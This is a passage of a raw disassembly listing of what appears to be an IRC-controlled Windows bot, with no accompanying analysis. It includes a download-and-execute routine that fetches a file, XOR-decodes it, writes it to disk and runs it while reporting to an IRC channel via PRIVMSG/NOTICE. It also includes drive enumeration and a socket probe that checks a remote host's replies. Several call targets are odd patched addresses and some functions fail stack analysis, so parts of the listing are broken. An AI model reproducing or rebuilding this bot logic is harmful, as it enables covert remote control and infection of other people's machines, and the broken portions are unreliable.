call near ptr 261031Eh
sub_40C8B4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo
; sub_40EE72+3F6Do
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43AD48
call dword_43ACA8
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40CF7D
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
nop
call near ptr 2660829h
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40CBB8
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42E5E4
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CB9B
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CB9B: ; CODE XREF: sub_40CAF1+88j
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
push [ebp+var_48]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
loc_40CBB8: ; CODE XREF: sub_40CAF1+68j
xor edi, edi
nop
call near ptr 261077Ch
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_417B89
pop ecx
mov [ebp+var_1C], eax
loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43ACB0
cmp [ebp+var_34], esi
jz short loc_40CC16
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40CFE3
pop ecx
pop ecx
loc_40CC16: ; CODE XREF: sub_40CAF1+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
nop
call near ptr 2650000h
cmp edi, ebx
jnb short loc_40CC54
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40CC3E
mov eax, [ebp+arg_0]
loc_40CC3E: ; CODE XREF: sub_40CAF1+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_417390
add esp, 0Ch
loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40CC61
cmp edi, [ebp+var_3C]
ja short loc_40CCAB
loc_40CC61: ; CODE XREF: sub_40CAF1+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40CC7B
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42E59C
jmp short loc_40CC8B
; ---------------------------------------------------------------------------
loc_40CC7B: ; CODE XREF: sub_40CAF1+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42E55C
loc_40CC8B: ; CODE XREF: sub_40CAF1+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_4405F0
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40CBD2
loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40CD00
cmp edi, [ebp+var_3C]
jz short loc_40CD00
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42E518
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 28h
loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j
; sub_40CAF1+1C9j
nop
call near ptr 261077Ch
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 26408F3h
nop
push [ebp+var_1C]
call sub_417C3B
cmp [ebp+var_38], esi
pop ecx
jz short loc_40CD8A
lea eax, [ebp+var_148]
push eax
call sub_40C259
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40CD8A
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42E4E0
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 28h
loc_40CD8A: ; CODE XREF: sub_40CAF1+241j
; sub_40CAF1+253j
cmp [ebp+var_14], esi
jz loc_40CFCA
cmp [ebp+var_44], 1
jz loc_40CE85
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_424698
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_424698
fstp [esp+590h+var_590]
push offset unk_42E498
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CE05
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
cmp [ebp+var_40], 1
pop ecx
jnz loc_40CFCA
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43AD0C
cmp [ebp+var_30], esi
jnz loc_40CFCA
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42E464
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
add esp, 24h
jmp loc_40CFCA
; ---------------------------------------------------------------------------
loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_424698
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_424698
fstp [esp+590h+var_590]
push offset unk_42E414
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CEED
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_417330
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_436EDC
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
nop
call near ptr 2760BE6h
cmp eax, edi
jnz short loc_40CF6F
call dword_43ACF8
call sub_40AC42
push esi
nop
call near ptr 77E75CB5h
loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_42E3CC
jmp short loc_40CF89
; ---------------------------------------------------------------------------
loc_40CF7D: ; CODE XREF: sub_40CAF1+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42E390
loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj
lea eax, [ebp+var_510]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CFBD
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40D679
add esp, 14h
loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj
lea eax, [ebp+var_510]
push eax
call sub_40BF6D
pop ecx
loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj
; sub_40CAF1+325j ...
push [ebp+var_18]
call dword_43ADCC
push [ebp+var_48]
call sub_417078
pop ecx
push esi
nop
call near ptr 261031Eh
sub_40CAF1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40CFFF
loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj
mov dl, byte_42F5C4
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40CFEF
locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj
retn
sub_40CFE3 endp
; =============== S U B R O U T I N E =======================================
sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep
; sub_40EE72+2BA4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4197F9
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40D000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D01A proc near ; CODE XREF: sub_406387+458p
; sub_406387+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_43F168
push 0
push edi
call sub_417330
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40D03F: ; CODE XREF: sub_40D01A+5Bj
; sub_40D01A+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_4191D0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_419250
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40D07D
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40D03F
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40D03F
; ---------------------------------------------------------------------------
loc_40D07D: ; CODE XREF: sub_40D01A+4Bj
dec esi
mov eax, edi
loc_40D080: ; CODE XREF: sub_40D01A+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40D08F
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40D080
; ---------------------------------------------------------------------------
loc_40D08F: ; CODE XREF: sub_40D01A+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40D01A endp
; =============== S U B R O U T I N E =======================================
sub_40D099 proc near ; CODE XREF: sub_40D24E+51p
; sub_40D24E+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43ADF8
sub eax, 0
jz short loc_40D0DC
dec eax
jz short loc_40D0D6
dec eax
dec eax
jz short loc_40D0D0
dec eax
jz short loc_40D0CA
dec eax
jz short loc_40D0C4
dec eax
jz short loc_40D0BE
mov eax, offset word_42DDD0
retn
; ---------------------------------------------------------------------------
loc_40D0BE: ; CODE XREF: sub_40D099+1Dj
mov eax, offset off_42E644
retn
; ---------------------------------------------------------------------------
loc_40D0C4: ; CODE XREF: sub_40D099+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40D0CA: ; CODE XREF: sub_40D099+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40D0D0: ; CODE XREF: sub_40D099+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40D0D6: ; CODE XREF: sub_40D099+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40D0DC: ; CODE XREF: sub_40D099+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40D099 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43AC94
test eax, eax
jz short loc_40D117
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_40D117: ; CODE XREF: sub_40D0E2+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D0E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p
; sub_40D24E+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40D0E2
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40D208
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40D208
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40D208
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41782A
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41782A
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_419840
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41782A
add esp, 10h
pop ebx
jmp short loc_40D23A
; ---------------------------------------------------------------------------
loc_40D208: ; CODE XREF: sub_40D12A+2Cj
; sub_40D12A+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40D23A: ; CODE XREF: sub_40D12A+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D12A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D24E proc near ; CODE XREF: sub_40D320+17p
; sub_40D320+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4176D0
add esp, 10h
test eax, eax
jnz short loc_40D2C1
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42E6A4
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41782A
add esp, 14h
jmp short loc_40D2F5
; ---------------------------------------------------------------------------
loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40D099
pop ecx
push eax
push offset unk_42E658
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41782A
add esp, 20h
loc_40D2F5: ; CODE XREF: sub_40D24E+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
lea eax, [ebp+var_500]
push eax
call sub_40BF6D
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40D24E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40D341
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D24E
add esp, 10h
jmp short loc_40D3A2
; ---------------------------------------------------------------------------
loc_40D341: ; CODE XREF: sub_40D320+9j
push esi
push edi
push ebx
push ebx
call dword_43AD08
lea esi, [eax+2]
push esi
call sub_417B89
pop ecx
mov edi, eax
push edi
push esi
call dword_43AD08
cmp [edi], bl
mov esi, edi
jz short loc_40D399
loc_40D365: ; CODE XREF: sub_40D320+77j
push offset aA_0 ; "A:\\"
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D388
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D24E
add esp, 10h
loc_40D388: ; CODE XREF: sub_40D320+54j
push esi
call sub_417AB0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40D365
loc_40D399: ; CODE XREF: sub_40D320+43j
push edi
call sub_417C3B
pop ecx
pop edi
pop esi
loc_40D3A2: ; CODE XREF: sub_40D320+1Fj
pop ebx
pop ebp
retn
sub_40D320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4407FC
call dword_43AE30
call sub_416F25
call dword_43ACF8
call dword_43ACF8
mov ebx, dword_424064
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417330
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_436EDC
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 2620000h
nop
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2670000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 2760BE6h
nop
test eax, eax
jz short loc_40D46A
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_424078
call esi
push [ebp+var_C]
call esi
loc_40D46A: ; CODE XREF: sub_40D3A5+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43F1A0
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
sub_40D3A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p
; sub_40D4C5+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40D4BB
loc_40D49E: ; CODE XREF: sub_40D48D+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4198F0
add esp, 0Ch
test eax, eax
jz short loc_40D4C1
inc esi
cmp esi, edi
jl short loc_40D49E
loc_40D4BB: ; CODE XREF: sub_40D48D+Fj
xor al, al
loc_40D4BD: ; CODE XREF: sub_40D48D+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40D4C1: ; CODE XREF: sub_40D48D+27j
mov al, 1
jmp short loc_40D4BD
sub_40D48D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp
; sub_402DD7+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_417B30
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_40D506
dec eax
jz short loc_40D4E4
dec eax
loc_40D4DE: ; CODE XREF: sub_40D4C5+57j
xor eax, eax
loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj
; sub_40D4C5+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40D4E4: ; CODE XREF: sub_40D4C5+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43ADD8
push eax
call sub_4076CA
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40D4E0
; ---------------------------------------------------------------------------
loc_40D506: ; CODE XREF: sub_40D4C5+13j
push 6
push 1
push 2
call dword_43AE18
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_40D4DE
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43AD98
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40ADCA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43AD40
cmp eax, edi
jz loc_40D622
push ebx
push 48h
push offset dword_42E6F4
push esi
call dword_43ADE8
cmp eax, edi
jz loc_40D622
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43ADB0
cmp eax, edi
jz loc_40D622
cmp [ebp+var_200E], 0Ch
jnz short loc_40D622
push ebx
push 18h
push offset dword_42E740
push [ebp+arg_4]
call dword_43ADE8
cmp eax, edi
jz short loc_40D622
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43ADB0
mov esi, eax
cmp esi, edi
jz short loc_40D622
cmp [ebp+var_200E], 2
jnz short loc_40D622
push 10h
push offset loc_42E75C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D48D
add esp, 10h
test al, al
jz short loc_40D602
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_40D622
; ---------------------------------------------------------------------------
loc_40D602: ; CODE XREF: sub_40D4C5+12Fj
push 10h
push offset dword_42E770
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D48D
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_40D622: ; CODE XREF: sub_40D4C5+9Bj
; sub_40D4C5+B2j ...
push [ebp+arg_4]
call dword_43AE30
mov eax, ebx
pop ebx
jmp loc_40D4E0
sub_40D4C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp
; sub_40EE72+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_4193FF
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43ADE8
leave
retn
sub_40D633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D679 proc near ; CODE XREF: sub_401000+8Bp
; sub_40144A+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40D694
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40D694: ; CODE XREF: sub_40D679+14j
push edi
call sub_417AB0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_417AB0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42E784
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43ADE8
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40D717
push 7D0h
call near ptr 2610E88h
nop
locret_40D717: ; CODE XREF: sub_40D679+91j
leave
retn
sub_40D679 endp
; =============== S U B R O U T I N E =======================================
sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40D771
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_42E7A8[esi]
push edi
push eax
call sub_40D793
add esp, 14h
test eax, eax
jnz short loc_40D761
push edi
push off_42E7A4[esi]
push offset dword_42E8D4
loc_40D751: ; CODE XREF: sub_40D719+56j
mov esi, offset dword_43F868
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40D78E
; ---------------------------------------------------------------------------
loc_40D761: ; CODE XREF: sub_40D719+2Aj
push eax
call sub_40D835
pop ecx
push eax
push edi
push offset dword_42E89C
jmp short loc_40D751
; ---------------------------------------------------------------------------
loc_40D771: ; CODE XREF: sub_40D719+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_43F868
push off_42E7A0[eax*4]
push offset dword_42E868
push esi
call sub_4172B0
add esp, 0Ch
loc_40D78E: ; CODE XREF: sub_40D719+46j
mov eax, esi
pop edi
pop esi
retn
sub_40D719 endp
; =============== S U B R O U T I N E =======================================
